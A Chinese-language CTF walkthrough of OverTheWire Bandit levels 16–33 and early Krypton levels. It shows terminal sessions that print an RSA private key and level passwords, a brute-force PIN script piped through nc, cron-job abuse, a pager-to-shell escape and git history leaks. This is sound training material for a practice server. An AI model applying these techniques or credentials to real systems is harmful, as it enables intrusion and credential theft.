00a0 - b9 40 f2 4f 90 01 0e 30-cf bf 16 3a b5 96 fc 3a .@.O...0...:...:
00b0 - 9b a5 e0 4a 54 df eb 39-68 be 05 77 6b 50 d7 a3 ...JT..9h..wkP..
00c0 - 87 0e 7d bf 33 1a 9e 31-40 b6 3e 5e 1f a9 cf d6 ..}.3..1@.>^....
Start Time: 1689568162
Timeout : 7200 (sec)
Verify return code: 10 (certificate has expired)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
JQttfApK4SeyHwDlI9SXGR50qclOAil1
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----
closed
返回了正确的密钥,然后写入/tmp下的某个文件,然后给它只有自己可读可写即可
# 首先需要在tmp下新建一个文件夹,然后把密钥写进去,然后chmod 666那个文件
bandit16@bandit:/tmp/a$ ssh -i 1.private bandit17@localhost -p 2220
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us on discord or IRC.
Enjoy your stay!
bandit17@bandit:~$
level18
直接diff
bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< glZreTEH1V3cGKL6g4conYqZqaEj0mte
---
> hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg
bandit17@bandit:~$
然后登录,然后就是:
┌─[myc@ubuntu22]─[~]
└──╼[13:02:46]$ ssh bandit18@bandit.labs.overthewire.org -p 2220
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
bandit18@bandit.labs.overthewire.org's password:
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to the #wargames channel on
discord or IRC.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few useful tools which you can find
in the following locations:
* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* peda (https://github.com/longld/peda.git) in /opt/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
Both python2 and python3 are installed.
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us on discord or IRC.
Enjoy your stay!
Byebye !
Connection to bandit.labs.overthewire.org closed.
level19
这个,告诉了你文件名和位置,可以直接读,而不是链接一个bash
因此可以玩儿一个骚操作
┌─[Fail][myc@ubuntu22]─[~]
└──╼[13:09:29]$ ssh bandit18@bandit.labs.overthewire.org -p 2220 -t cat readme
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
bandit18@bandit.labs.overthewire.org's password:
awhqfNnAbc1naukrpqDYcF95h7HoMTrC
Connection to bandit.labs.overthewire.org closed.
level20
就是运行这个小文件
bandit19@bandit:~$ ./bandit20-do --help
Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.
Mandatory arguments to long options are mandatory for short options too.
-i, --ignore-environment start with an empty environment
-0, --null end each output line with NUL, not newline
-u, --unset=NAME remove variable from the environment
-C, --chdir=DIR change working directory to DIR
-S, --split-string=S process and split S into separate arguments;
used to pass multiple arguments on shebang lines
--block-signal[=SIG] block delivery of SIG signal(s) to COMMAND
--default-signal[=SIG] reset handling of SIG signal(s) to the default
--ignore-signal[=SIG] set handling of SIG signals(s) to do nothing
--list-signal-handling list non default signal handling to stderr
-v, --debug print verbose information for each processing step
--help display this help and exit
--version output version information and exit
A mere - implies -i. If no COMMAND, print the resulting environment.
SIG may be a signal name like 'PIPE', or a signal number like '13'.
Without SIG, all known signals are included. Multiple signals can be
comma-separated.
GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation <https://www.gnu.org/software/coreutils/env>
or available locally via: info '(coreutils) env invocation'
bandit19@bandit:~$ ./bandit20-do NAME=11020 cat /etc/bandit_pass/bandit20
VxCazJaVykI6W36BkBU0mJTCM8rR95XT
bandit19@bandit:~$
level21
直接看图
NvEJF7oVjkddltPSrdKEFOllh9V1IBcq
level22
就是看守护进程在运行哪个脚本,然后跟着去找。
bandit21@bandit:~$ man cron
bandit21@bandit:~$ man crontab
bandit21@bandit:~$ man 5 crontab
bandit21@bandit:~$ cd /etc/cron.d/
bandit21@bandit:/etc/cron.d$ ll
total 56
drwxr-xr-x 2 root root 4096 Apr 23 18:05 ./
drwxr-xr-x 108 root root 12288 Jun 10 22:51 ../
-rw-r--r-- 1 root root 62 Apr 23 18:04 cronjob_bandit15_root
-rw-r--r-- 1 root root 62 Apr 23 18:04 cronjob_bandit17_root
-rw-r--r-- 1 root root 120 Apr 23 18:04 cronjob_bandit22
-rw-r--r-- 1 root root 122 Apr 23 18:04 cronjob_bandit23
-rw-r--r-- 1 root root 120 Apr 23 18:04 cronjob_bandit24
-rw-r--r-- 1 root root 62 Apr 23 18:04 cronjob_bandit25_root
-rw-r--r-- 1 root root 201 Jan 8 2022 e2scrub_all
-rwx------ 1 root root 52 Apr 23 18:05 otw-tmp-dir*
-rw-r--r-- 1 root root 102 Mar 23 2022 .placeholder
-rw-r--r-- 1 root root 396 Feb 2 2021 sysstat
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit15_root
* * * * * root /usr/bin/cronjob_bandit15_root.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit17_root
* * * * * root /usr/bin/cronjob_bandit17_root.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff
bandit21@bandit:/etc/cron.d$
level23
和上面那个题几乎一样
bandit22@bandit:~$ cd /etc/cron.d/
bandit22@bandit:/etc/cron.d$ ll
total 56
drwxr-xr-x 2 root root 4096 Apr 23 18:05 ./
drwxr-xr-x 108 root root 12288 Jun 10 22:51 ../
-rw-r--r-- 1 root root 62 Apr 23 18:04 cronjob_bandit15_root
-rw-r--r-- 1 root root 62 Apr 23 18:04 cronjob_bandit17_root
-rw-r--r-- 1 root root 120 Apr 23 18:04 cronjob_bandit22
-rw-r--r-- 1 root root 122 Apr 23 18:04 cronjob_bandit23
-rw-r--r-- 1 root root 120 Apr 23 18:04 cronjob_bandit24
-rw-r--r-- 1 root root 62 Apr 23 18:04 cronjob_bandit25_root
-rw-r--r-- 1 root root 201 Jan 8 2022 e2scrub_all
-rwx------ 1 root root 52 Apr 23 18:05 otw-tmp-dir*
-rw-r--r-- 1 root root 102 Mar 23 2022 .placeholder
-rw-r--r-- 1 root root 396 Feb 2 2021 sysstat
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:/etc/cron.d$
拿到脚本以后直接执行一下,不过需要注意用户是bandit23,因为whoami输出的是bandit22
bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G
level24
还是那几步,然后看到了这玩意儿
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo || exit 1
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -rf ./$i
fi
done
bandit23@bandit:/var/spool/bandit24$ ll
total 12
dr-xr-x--- 3 bandit24 bandit23 4096 Apr 23 18:04 ./
drwxr-xr-x 5 root root 4096 Apr 23 18:04 ../
drwxrwx-wx 13 root bandit24 4096 Jul 17 06:58 foo/
bandit23@bandit:/var/spool/bandit24$
# 这里我根本没有写的权限,题改了???????
那也简单,就是把脚本放在foo底下
脚本就是一个输出,水的一批
#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /tmp/bandit23/pass
然后执行脚本就行,最后得到如下结果:
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
level25
要写爆破脚本
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.
^C
bandit24@bandit:~$
脚本如下:
#! /bin/bash
pass24="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"
for i in {0..9}{0..9}{0..9}{0..9}
do
echo $pass24' '$i >> mydict
done
echo "done loop!"
cat ./mydict | nc localhost 30002 >> re
sort re | uniq -u
上边儿有个题貌似应该用-u的,G
最后得到如下结果:
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
level26
登陆上以后出现如下内容:
bandit25@bandit:~$ ll
total 32
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ../
-rw-r----- 1 bandit25 bandit25 33 Apr 23 18:04 .bandit24.password
-r-------- 1 bandit25 bandit25 1679 Apr 23 18:04 bandit26.sshkey
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-rw-r----- 1 bandit25 bandit25 4 Apr 23 18:04 .pin
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost -p 2220
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit25/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit25/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
!!! You are trying to log into this SSH server with a password on port 2220 from localhost.
!!! Connecting from localhost is blocked to conserve resources.
!!! Please log out and log in again.
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to the #wargames channel on
discord or IRC.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few useful tools which you can find
in the following locations:
* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* peda (https://github.com/longld/peda.git) in /opt/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
Both python2 and python3 are installed.
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us on discord or IRC.
Enjoy your stay!
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to localhost closed.
bandit25@bandit:~$
这一步需要知道etc/passwd的内容,这里有个中文博客
bandit25@bandit:~$ cat /etc/passwd | grep "bandit26"
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
exec more ~/text.txt
exit 0
bandit25@bandit:~$
发现使用more展示,这里就可以把窗口缩小,让他一下子展示不完需要翻页即可,然后进入vim模式就可以进行搜索啊、编辑啊之类的事了,就解决了。
:r /etc/bandit_pass/bandit26
c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1
level27
这一题和level26一样,还得缩小terminal,这个不会,看的网上的题解。
:set shell sh=/bin/sh
:sh
$ ll
/bin/sh: 1: ll: not found
$ ls -al
total 44
drwxr-xr-x 3 root root 4096 Apr 23 18:04 .
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ..
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
drwxr-xr-x 2 root root 4096 Apr 23 18:04 .ssh
-rwsr-x--- 1 bandit27 bandit26 14876 Apr 23 18:04 bandit27-do
-rw-r----- 1 bandit26 bandit26 258 Apr 23 18:04 text.txt
$ file bandit27-do
bandit27-do: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c148b21f7eb7e816998f07490c8007567e51953f, for GNU/Linux 3.2.0, not stripped
$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
$ ./bandit27-do cat /etc/bandit_pass/bandit27
YnQpBuifNMas1hcUFk70ZmqkhUU2EuaS
level28
使用git仓库
bandit27@bandit:/tmp/a$ git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit27/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
bandit27-git@localhost's password:
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/a$ ll
total 10564
drwxrwxr-x 3 bandit27 bandit27 4096 Jul 19 02:08 ./
drwxrwx-wt 317 root root 10801152 Jul 19 02:08 ../
drwxrwxr-x 3 bandit27 bandit27 4096 Jul 19 02:08 repo/
bandit27@bandit:/tmp/a$ cd repo/
bandit27@bandit:/tmp/a/repo$ ll
total 16
drwxrwxr-x 3 bandit27 bandit27 4096 Jul 19 02:08 ./
drwxrwxr-x 3 bandit27 bandit27 4096 Jul 19 02:08 ../
drwxrwxr-x 8 bandit27 bandit27 4096 Jul 19 02:08 .git/
-rw-rw-r-- 1 bandit27 bandit27 68 Jul 19 02:08 README
bandit27@bandit:/tmp/a/repo$ cat README
The password to the next level is: AVanL161y9rsbcJIsFHuw35rjaOM19nR
bandit27@bandit:/tmp/a/repo$
level29
还是老规矩
bandit28@bandit:/tmp/b$ git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit28/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
bandit28-git@localhost's password:
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
bandit28@bandit:/tmp/b$ cd repo/
bandit28@bandit:/tmp/b/repo$ ll
total 16
drwxrwxr-x 3 bandit28 bandit28 4096 Jul 19 02:11 ./
drwxrwxr-x 3 bandit28 bandit28 4096 Jul 19 02:11 ../
drwxrwxr-x 8 bandit28 bandit28 4096 Jul 19 02:11 .git/
-rw-rw-r-- 1 bandit28 bandit28 111 Jul 19 02:11 README.md
bandit28@bandit:/tmp/b/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
bandit28@bandit:/tmp/b/repo$ git log
commit 899ba88df296331cc01f30d022c006775d467f28 (HEAD -> master, origin/master, origin/HEAD)
Author: Morla Porla <morla@overthewire.org>
Date: Sun Apr 23 18:04:39 2023 +0000
fix info leak
commit abcff758fa6343a0d002a1c0add1ad8c71b88534
Author: Morla Porla <morla@overthewire.org>
Date: Sun Apr 23 18:04:39 2023 +0000
add missing data
commit c0a8c3cf093fba65f4ee0e1fe2a530b799508c78
Author: Ben Dover <noone@overthewire.org>
Date: Sun Apr 23 18:04:39 2023 +0000
initial commit of README.md
这是典型的git泄露
bandit28@bandit:/tmp/b/repo$ git diff 899b abcf
diff --git a/README.md b/README.md
index 5c6457b..b302105 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
- username: bandit29
-- password: xxxxxxxxxx
+- password: tQKvmcwNYcFS6vmPHIUSI3ShmsrQZK8S
bandit28@bandit:/tmp/b/repo$
level30
下载下来以后,一开始以为是stash,然后发现不是,那么查看别的分支。
bandit29@bandit:/tmp/c/repo$ git stash list
bandit29@bandit:/tmp/c/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev
bandit29@bandit:/tmp/c/repo$
然后切换分支即可
bandit29@bandit:/tmp/c/repo$ git checkout dev
Branch 'dev' set up to track remote branch 'dev' from 'origin'.
Switched to a new branch 'dev'
bandit29@bandit:/tmp/c/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS
bandit29@bandit:/tmp/c/repo$
level31
这个不会,看了一下网上的答案,这玩意儿叫引用,这里是Git Pro教程
bandit30@bandit:/tmp/d/repo$ git show-ref
59530d30d299ff2e3e9719c096ebf46a65cc1424 refs/heads/master
59530d30d299ff2e3e9719c096ebf46a65cc1424 refs/remotes/origin/HEAD
59530d30d299ff2e3e9719c096ebf46a65cc1424 refs/remotes/origin/master
831aac2e2341f009e40e46392a4f5dd318483019 refs/tags/secret
bandit30@bandit:/tmp/d/repo$ git show 831a
OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt
bandit30@bandit:/tmp/d/repo$
level32
push文件
bandit31@bandit:/tmp/d/repo$ git add -f ./key.txt
bandit31@bandit:/tmp/d/repo$ git commit -m "add key.txt"
[master 462b8a5] add key.txt
1 file changed, 1 insertion(+)
create mode 100644 key.txt
bandit31@bandit:/tmp/d/repo$ git push
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit31/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
bandit31-git@localhost's password:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 324 bytes | 324.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: rmCBvG56y58BXzv98yZGdO7ATVL5dW8y
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost:2220/home/bandit31-git/repo
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://localhost:2220/home/bandit31-git/repo'
bandit31@bandit:/tmp/d/repo$
level33
这个不会,看的答案
>> $0
$ cat /etc/bandit_pass/bandit33
odHo63fHiFqcWWJG9rLiLDtPm45KzUKy
彩蛋了
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!
At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.
If you have an idea for an awesome new level, please let us know!
bandit33@bandit:~$
完结撒花
level0
base64解码
S1JZUFRPTklTR1JFQVQ=
|
|
\|/
KRYPTONISGREAT
level1
差点儿没找着文件,真抽象。
krypton1@bandit:/krypton/krypton1$ ll
total 16
drwxr-xr-x 2 root root 4096 Apr 23 18:05 ./
drwxr-xr-x 8 root root 4096 Apr 23 18:05 ../
-rw-r----- 1 krypton1 krypton1 26 Apr 23 18:05 krypton2
-rw-r----- 1 krypton1 krypton1 882 Apr 23 18:05 README
krypton1@bandit:/krypton/krypton1$ cat README
Welcome to Krypton!
This game is intended to give hands on experience with cryptography
and cryptanalysis. The levels progress from classic ciphers, to modern,
easy to harder.
Although there are excellent public tools, like cryptool,to perform
the simple analysis, we strongly encourage you to try and do these
without them for now. We will use them in later excercises.
** Please try these levels without cryptool first **
The first level is easy. The password for level 2 is in the file
'krypton2'. It is 'encrypted' using a simple rotation called ROT13.
It is also in non-standard ciphertext format. When using alpha characters for
cipher text it is normal to group the letters into 5 letter clusters,
regardless of word boundaries. This helps obfuscate any patterns.
This file has kept the plain text word boundaries and carried them to
the cipher text.
Enjoy!
krypton1@bandit:/krypton/krypton1$ cat krypton2 | tr [A-Z] [N-ZA-M]
LEVEL TWO PASSWORD ROTTEN
krypton1@bandit:/krypton/krypton1$
就一个移位密码
level2
还是一个移位密码
krypton2@bandit:/tmp/krypton2$ cat /etc/issue
